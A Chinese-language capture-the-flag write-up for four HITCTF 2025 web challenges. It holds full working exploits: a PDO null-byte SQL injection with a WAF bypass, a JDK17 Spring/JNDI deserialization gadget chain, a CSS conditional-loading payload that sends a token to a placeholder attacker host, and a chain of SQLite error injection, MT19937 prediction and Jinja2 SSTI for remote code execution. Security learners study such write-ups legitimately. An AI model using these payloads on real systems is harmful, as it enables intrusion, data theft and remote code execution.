HITCTF 2025 Writeup
又是一年 HITCTF。笔者去年参加 HITCTF 2024 的时候才刚刚入门一个月,自然也没有什么贡献。加入 Lilac 这一年来被带着打了很多比赛,去了很多地方,见了很多世面,自认为是有些成长的。这次 HITCTF 2025 也做了一些题目,希望明年能再接再厉吧。
Web
impossible SQL | 已解出
- PHP8.4 PDO MySQL 注入,源码如下,题目同时带有简单的 waf :
<?php
error_reporting(0);
require_once 'init.php';
function safe_str($str) {
if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
return false;
}
return true;
}
if (!isset($_GET['info']) || !isset($_GET['key'])) {
HIGHLIGHT_FILE(__FILE__);
die('');
}
$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);
if (!safe_str($info) || !safe_str($key)) {
die('Invalid input');
}
$sql = "SELECT `$info` FROM users WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>
- 在正常情况下,这类预处理写法是几乎不可能被 SQL 注入攻击成功的。这里的关键在于 PDO 默认并不使用数据库本身的原生预处理机制。PDO 会先解析 SQL,识别出参数标记(比如
?和:xxx),再把绑定参数替换进去。 - 问题出在PDO MySQL 解析器里对反引号包裹的标识符的处理上:
int pdo_mysql_scanner(pdo_scanner_t *s)
{
const char *cursor = s->cur;
s->tok = cursor;
/*!re2c
BINDCHR = [:][a-zA-Z0-9_]+;
QUESTION = [?];
COMMENTS = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
SPECIALS = [:?"'`/#-];
MULTICHAR = ([:]{2,}|[?]{2,});
ANYNOEOF = [\001-\377];
*/
/*!re2c
(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
([`]([`][`]|ANYNOEOF\[`])*[`]) { RET(PDO_PARSER_TEXT); }
MULTICHAR { RET(PDO_PARSER_TEXT); }
BINDCHR { RET(PDO_PARSER_BIND); }
QUESTION { RET(PDO_PARSER_BIND_POS); }
SPECIALS { SKIP_ONE(PDO_PARSER_TEXT); }
COMMENTS { RET(PDO_PARSER_TEXT); }
(ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); }
*/
}
- 反引号里可以被接受的内容包括了
\001-\377,但是偏偏少了一个\0。也就是说如果我们传入`?\0`会导致:- PDO 试图把
`?\0`当作一个完整的反引号标识符 - 读到
\0时 fallback 到SPECIALS分支,反引号被当做一个普通符号跳过了 - 这导致紧接着的
?暴露出来,被 PDO 当做一个占位符
- PDO 试图把
- 接着如果我们在其中加入一个注释符号截断语句,即可实现注入。题目这里过滤了很多空白字符,但是少了
\0b,它也会被 MySQL 当做空格 - 举个例子,我们进行如下的输入:
info = b"\\?--\x0b\x00"
key_tables = (
b"`FROM\x0b("
b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
b"FROM\x0binformation_schema.tables\x0b"
b"WHERE\x0btable_schema=database()"
b")x;--\x0b"
)
- PDO 会进行如下操作:
- 代入 info :
SELECT `\?--[VT][NUL]` FROM users WHERE username = ? - PDO 模拟:
- 代入 info :
SELECT `\`FROM[VT](SELECT[VT]table_name[VT]AS[VT]`\'`[VT]FROM[VT]information_schema.tables[VT]WHERE[VT]table_schema=database())x;--[VT]'--[VT][NUL]` FROM users WHERE username = ?
- 所以MySQL实际执行:
SELECT `\'` FROM (SELECT table_name AS `\'` FROM information_schema.tables WHERE table_schema=database())x;-- '-- ` FROM users WHERE username = ?
- 这相当于在派生表
x中取出列\',其内容就是内部SELECT出的内容 - 最后的一点 trick 是 PHP 的
base64_decode()方法是宽松的,在其中插入一些非法 base64 字符可以绕过 waf。
Exp:
import base64
import requests
target = "http://<chall>"
INFO_RAW = b"\\?--\x0b\x00"
def b64_noise(data: bytes) -> str:
"""在 base64 中插入一个非法字符绕过 WAF,PHP 宽松解码仍能复原"""
s = base64.b64encode(data).decode()
return s[:2] + "!" + s[2:]
def send(label: str, key_raw: bytes):
params = {"info": b64_noise(INFO_RAW), "key": b64_noise(key_raw)}
r = requests.get(target, params=params, timeout=10)
print(b64_noise(INFO_RAW))
print(b64_noise(key_raw))
print(f"[{label}] status={r.status_code} text={r.text}")
key_tables = (
b"`FROM\x0b("
b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
b"FROM\x0binformation_schema.tables\x0b"
b"WHERE\x0btable_schema=database()"
b")x;--\x0b"
)
send("tables", key_tables)
key_cols = (
b"`FROM\x0b("
b"SELECT\x0bcolumn_name\x0bAS\x0b`\'`\x0b"
b"FROM\x0binformation_schema.columns\x0b"
b"WHERE\x0btable_name=0x7365637265745f306664313539633534656164\x0b"
b"AND\x0btable_schema=database()"
b")x;--\x0b"
)
send("columns of secret_*", key_cols)
key_flag = (
b"`FROM\x0b("
b"SELECT\x0bpassword\x0bAS\x0b`\'`\x0b"
b"FROM\x0bsecret_0fd159c54ead"
b")x;--\x0b"
)
send("flag", key_flag)
Ref:
https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/
EzLoader | 已解出
- 题目环境是 JDK17 ,于是首先想到的是 JDK17 Spring 原生链。
- 黑名单类如下,可以看到这基本上就是 ban 掉了一整条JDK17 Spring 原生链 + 基本的二次反序列化入口。
static String[] blacklist = new String[]{
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.fasterxml.jackson.databind.node.POJONode",
"javax.management.BadAttributeValueExpException",
"javax.swing.event.EventListenerList",
"java.security.SignedObject"
};
- ban 掉了
SignedObject就不能二次反序列化了吗?答案是否定的,我们可以走 JNDI 反序列化。 - 整条攻击链就是 JTAreadObject2JNDI -> JDK17 Spring 原生反序列化链,这两步具体的细节在我的文章中都有写,在这里就不详细描述了。
Exp:
JTAreadObject2JNDI.java:
package cn.turker;
import java.io.*;
import org.springframework.transaction.jta.JtaTransactionManager;
public class JTAreadObject2JNDI {
public static byte[] main(String url) throws Exception {
String jndiUrl = url;
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiUrl);
byte[] serializedData = serialize(jtaTransactionManager);
return serializedData;
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
}
JDK17Spring.java:
package cn.turker.payload;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Vector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;
@SuppressWarnings({"rawtypes", "unchecked", "CallToPrintStackTrace"})
public class JDK17Spring {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception e) {
return;
}
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = JDK17Spring.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
byte[] uselessCode = ClassPool.getDefault().makeClass("Burger").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { code, uselessCode });
setFieldValue(templates, "_name", "Burger King");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_transletIndex",0);
AdvisedSupport support = new AdvisedSupport();
support.setTarget(templates);
Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
POJONode jsonNode = new POJONode(proxy);
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
Field f = undomanager.getClass().getSuperclass().getDeclaredField("edits");
f.setAccessible(true);
Vector vector = (Vector) f.get(undomanager);
vector.add(jsonNode);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(list);
oos.close();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
freestyle | 已解出
- 我们的目的是泄露 样式里 data-token 这个属性值。
- 可以看到在
components/CardGenerator.tsx中,url 的参数被直接添加进了style对象。style={previewStyle},const previewStyle = { background: bgImage },bgImage来自searchParams.get("bg-image")。同时其他参数key=value会被写成 CSS 自定义属性。 - 因此我们可以利用
attr()+if()+image-set()来进行有条件的加载,从而把--val: attr(data-token)这个属性映射为一次外带请求。 - 具体到这题,示例 payload 如下:
bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(https://YOUR-COLLAB/leak/07);else:url(https://YOUR-COLLAB/leak/no))
- 首先,
--val的值等于data-token。同时--steal: if(style(--val:"07"):url(.../07);else:url(.../no))会判断这个值是不是 07,根据结果返回不同 url 。最后background: image-set(var(--steal))会触发这个 url 加载。 - 还有最后一个问题,怎么判断多个值?答案是 CSS 的
if支持嵌套,只需要构造一个很长的请求就好了。
Payload Gen:
import urllib.parse
base="https://<YOUR_ADDR>/leak/"
expr=f'url({base}no)'
for i in reversed(range(100)):
t=f"{i:02d}"
expr=f'if(style(--val:"{t}"):url({base}{t});else:{expr})'
print("/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal="+urllib.parse.quote(expr, safe=""))
logServer | 已解出
- 题目的逻辑很明显,首先我们的目标是通过
/backdoor的 Jinja2 SSTI 实现 RCE。
@app.route("/backdoor", methods=["POST"])
def backdoor():
data = request.get_json()
secret = data.get("secret")
code = data.get("code")
if not secret or not code:
return jsonify(
{"success": False, "error": "Secret and code are required"}
), 400
stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
if secret != stored_secret:
return jsonify({"success": False, "error": "Invalid secret"}), 403
res = render_template_string(code)
return jsonify({"success": True, "result": res}), 200
- 这个 secret 是每次请求都会更新的,于是我们需要泄露每一次请求的 secret 来预测随机数。
@app.after_request
def update_secret(response):
new_secret = gen_secret()
conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
print(f"New secret generated: {new_secret}")
return response
- 在
/log路由存在一个 SQL注入
@app.route("/log", methods=["POST"])
def log_message():
data = request.get_json()
message = data.get("message")
if not message:
return jsonify({"success": False, "error": "Message is required"}), 400
try:
conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
return jsonify({"success": True}), 200
except Exception as e:
return jsonify({"success": False, "error": str(e)}), 500
- 于是我们想到可以通过报错回显每一次的 secret ,收集足够输出即可预测 MT19937 的后续输出。对于题目使用的 sqlite3,使用
fts3_tokenizer()函数可以达成报错回显。
Exp:
import requests
import time
import re
import sys
# Target
URL = "http://<chall>/log"
BACKDOOR_URL = "http://<chall>/backdoor"
# MT19937 Constants
N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff
def undo_right_shift_xor(val, shift):
res = val
for i in range(32 // shift + 1):
res = val ^ (res >> shift)
return res
def undo_left_shift_xor_mask(val, shift, mask):
res = val
for i in range(32 // shift + 1):
res = val ^ ((res << shift) & mask)
return res
def untemper(y):
y = undo_right_shift_xor(y, 18)
y = undo_left_shift_xor_mask(y, 15, 0xefc60000)
y = undo_left_shift_xor_mask(y, 7, 0x9d2c5680)
y = undo_right_shift_xor(y, 11)
return y
def leak_secret():
payload = "' || fts3_tokenizer((SELECT secret FROM secret)) || '"
try:
r = requests.post(URL, json={"message": payload})
if r.status_code == 500:
match = re.search(r"unknown tokenizer: ([0-9a-f]+)", r.text)
if match:
return match.group(1)
else:
print(f"Error, no match in: {r.text}")
else:
print(f"Unexpected status: {r.status_code}, Body: {r.text}")
except Exception as e:
print(f"Request failed: {e}")
return None
def predict_next(state_array):
# state_array: list of 624 integers (MT19937 state)
state = list(state_array)
# Twist
for i in range(N):
x = (state[i] & UPPER_MASK) + (state[(i + 1) % N] & LOWER_MASK)
xA = x >> 1
if (x % 2) != 0:
xA ^= MATRIX_A
state[i] = state[(i + M) % N] ^ xA
# Generate next 3 outputs
outputs = []
for i in range(3):
y = state[i]
y ^= (y >> 11)
y ^= (y << 7) & 0x9d2c5680
y ^= (y << 15) & 0xefc60000
y ^= (y >> 18)
outputs.append(y)
# Combine to 96-bit int (Low to High)
val = outputs[0] + (outputs[1] << 32) + (outputs[2] << 64)
secret_bits = val.to_bytes((val.bit_length() + 7) // 8, byteorder='big')
if len(secret_bits) < 12:
secret_bits = b'\x00' * (12 - len(secret_bits)) + secret_bits
return secret_bits.hex()
def main():
print("Collecting samples...")
collected_ints = []
for i in range(208):
s_hex = leak_secret()
if not s_hex:
print("Failed to leak secret.")
return
# print(f"Sample {i+1}: {s_hex}")
val = int(s_hex, 16)
v1 = val & 0xffffffff
v2 = (val >> 32) & 0xffffffff
v3 = (val >> 64) & 0xffffffff
collected_ints.append(untemper(v1))
collected_ints.append(untemper(v2))
collected_ints.append(untemper(v3))
# Progress
if (i+1) % 10 == 0:
print(f"Progress: {i+1}/208")
print("Predicting next secret...")
next_secret = predict_next(collected_ints)
print(f"Predicted: {next_secret}")
payload_code = "{{ config.__class__.__init__.__globals__['os'].popen('/readflag').read() }}"
print("Sending backdoor request...")
r = requests.post(BACKDOOR_URL, json={
"secret": next_secret,
"code": payload_code
})
print(r.text)
if "success" in r.text and r.json().get("success"):
print("RCE Successful!")
print("Result:", r.json().get("result"))
if __name__ == "__main__":
main()